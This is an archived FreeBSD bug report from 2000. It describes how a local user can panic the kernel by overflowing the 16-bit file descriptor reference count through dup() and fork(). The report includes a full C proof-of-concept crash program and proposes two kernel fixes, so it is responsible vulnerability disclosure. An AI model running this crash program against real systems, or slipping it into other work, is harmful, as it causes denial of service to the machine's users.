Date: Tue, 02 May 2000 17:17:17 +0200 From: Phil Pennock <pdp@nl.demon.net> To: FreeBSD-gnats-submit@freebsd.org Subject: kern/18346: user can panic kernel (3.4-STABLE verified) Message-ID: <E12meQH-0000Ak-00@samhain.noc.nl.demon.net>
next in thread | raw e-mail | index | archive | help
>Number: 18346 >Category: kern >Synopsis: User can panic kernel; signed short wraps >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue May 2 08:20:02 PDT 2000 >Closed-Date: >Last-Modified: >Originator: Phil Pennock >Release: FreeBSD 3.4-STABLE i386 >Organization: Demon Internet Netherlands >Environment: Raised kern.maxfiles and kern.maxfilesperproc. Probably not necessary. >Description: The file descriptor reference count is an unsigned short. Should it ever become negative, the kernel panics. There is no check on increment, so it can wrap and on a later close cause a panic. This was first spotted with an unfortunate choice of logfile handling for Apache. Max files per proc * max procs per user > max_int(fd.f_count) >How-To-Repeat: Compile the program below. Possibly raise kern.maxfiles and kern.maxfilesperproc. Play around. Sync disks. :^) Run program, with parameters to indicate values. If program slows down (the forks) and nothing happens, hit control-C - this will lead to a file-descriptor being closed and so trigger the panic then. -----------------------------< cut here >------------------------------- /* crash_freebsd.c */ #include <stdio.h> #include <string.h> #include <fcntl.h> #include <stdlib.h> #include <limits.h> #include <unistd.h> #include <errno.h> #include <sys/types.h> #include <signal.h> #define DEF_VICTIM "/dev/null" void cleanup (void) __attribute__((__noreturn__)); void exit_sigf (int sig); void do_nowt ( void ); int main ( int argc, char *argv[] ) { int fd; int *fds, *fdp; int i_f, i_p, ret; int n_fd, n_p; pid_t cp; char *progname, *filename; progname = strrchr(argv[0], '/'); progname = progname ? progname+1 : argv[0]; if (argc < 3) { fprintf(stderr, "Usage: %s file_count process_count [filename]\n", progname); return 1; } errno = 0; n_fd = strtol(argv[1], NULL, 0); if (errno != 0) { perror(progname); return 1; } n_p = strtol(argv[2], NULL, 0); if (errno != 0) { perror(progname); return 1; } if (argc >= 4) { filename = argv[3]; } else { filename = DEF_VICTIM; } setpgrp(0, getpgrp()); if (!(fds = calloc(n_fd - 1, sizeof(int)))) { fprintf(stderr, "%s: Failed to allocate fd storage\n", progname); perror(progname); return 1; } ret = setvbuf(stdout, NULL, _IONBF, 0); /* ignore failure */ printf("Starting test run on '%s'\n%d file descs by %d processes\n", filename, n_fd--, n_p); if ((fd = open(filename, O_RDONLY)) < 0) { fprintf(stderr, "%s: Failed to open '%s'\n", progname, filename); perror(progname); return 1; } for ( fdp=fds, i_f=0 ; i_f < n_fd ; ++i_f, ++fdp ) { *fdp = dup(fd); if (*fdp == -1) { ret = errno; printf("Failed to dup for %d/%d\n", i_f+2,n_fd); perror(progname); if (ret == EMFILE) { break; } else { return 2; } } } printf("We have %d filedescs open\n", n_fd+1); for ( i_p = 0 ; i_p < n_p-1 ; ++i_p ) { switch (cp = fork()) { case -1: printf("Failed to fork for %d/%d\n",i_p+1,n_p); cleanup(); /* NOTREACHED */ case 0: signal(SIGKILL, exit_sigf); printf("Started proc %d\n", i_p+1); do_nowt(); exit(0); default: break; } } close(fd); sleep(1); cleanup(); printf("Finished test run! Woohoo!\n"); return 0; } void cleanup ( void ) { /* Can't be bothered with IPC ... */ sleep(3); kill(0, SIGKILL); exit(0); } void exit_sigf (int sig) { exit(0); } void do_nowt ( void ) { /* Can't be bothered with IPC ... */ sleep(1000000); } -----------------------------< cut here >------------------------------- >Fix: Two solutions, not mutually incompatible: (1) Check f_count value before increment, return error if would wrap. (2) Change f_count to int32_t instead of int16_t. The second solution requires auditing all programs which access kernel memory, eg lsof, to find potential problems. :^/ *sighs* >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?E12meQH-0000Ak-00>